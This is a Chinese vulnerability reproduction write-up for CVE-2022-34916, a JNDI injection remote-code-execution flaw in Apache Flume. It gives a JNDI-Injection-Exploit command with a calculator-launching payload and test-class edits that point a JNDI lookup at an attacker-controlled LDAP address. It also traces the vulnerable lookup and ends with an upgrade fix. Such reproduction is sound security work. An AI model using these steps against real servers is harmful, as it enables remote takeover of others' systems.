Flume 是一种分布式、可靠且可用的服务,用于高效收集、聚合和移动大量日志数据。它具有基于流数据流的简单灵活的架构。它具有可调整的可靠性机制以及许多故障转移和恢复机制,具有健壮性和容错性。它使用允许在线分析应用程序的简单可扩展数据模型。
https://flume.apache.org/
当攻击者控制目标 LDAP 服务器时,如果配置使用带有 JNDI LDAP 数据源 URI 的 JMS 源,Apache Flume 版本 1.4.0 到 1.10.0 很容易受到远程代码执行 (RCE) 攻击。通过将 JNDI 限制为仅允许使用 java 协议或不使用协议来解决此问题。[1]
Apache Flume 1.4.0-1.10.0
下载部署即可
https://archive.apache.org/dist/flume/1.10.0/
该漏洞需要使用 JNDI工具辅助复现,可使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具。
工具链接:
https://github.com/welk1n/JNDI-Injection-Exploit
命令如下所示:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a calculator"
终端开启监听,搭建 Flume 项目以 jdk1.8 环境运行 TestIntegrationActiveMQ 测试类即可
查看 commit 能发现新增的校验为了拦截进 else 的 initialContext.lookup(destinationName);这就是这个漏洞的Sink点。
查看该 if-else ,判断 destinationLocator 等于 JMSDestinationLocator.CDI,上溯检查类参数
JMSMessageConsumer(......
String destinationName, JMSDestinationLocator destinationLocator
......
TestJMSMessageConsumer#testCreateDurableSubscription 初始化了 JMSMessageConsumer 并传入 destinationLocator
destinationLocator 的定义如下所示,为了进入 JMSMessageConsumer 的 else 循环,需要修改该变量为 JNDI
destinationLocator = JMSDestinationLocator.CDI;
//改为 jndi 即可
destinationLocator = JMSDestinationLocator.JNDI;
destinationName 由 DESTINATION_NAME 定义,需要改为工具开启的 ldap链接,JNDI_PREFIX 改为 ldap://
//private static final String DESTINATION_NAME = "test";
private static final String DESTINATION_NAME = "x.x.x.x:1389/iq9wuv";
//public static final String JNDI_PREFIX = "dynamicQueues/";
public static final String JNDI_PREFIX = "ldap://";
该项目需要使用官方提供的Test类作为 source点传入参数,Test类中只有 TestIntegrationActiveMQ 类存在 testQueueLocatedWithJndi ,CFG如下所示:
按漏洞复现步骤进行复现测试即可
升级到更高版本
[1]https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34916
[2]https://issues.apache.org/jira/browse/FLUME-3428
[3]https://github.com/apache/flume/commit/7fe9af49c485756e1b618493a5bc00b70d7fbd2d
[4]https://lists.apache.org/thread/qkmt4r2t9tbrxrdbjg1m2oczbvczd9zn
留言与评论(共有 0 条评论) “” |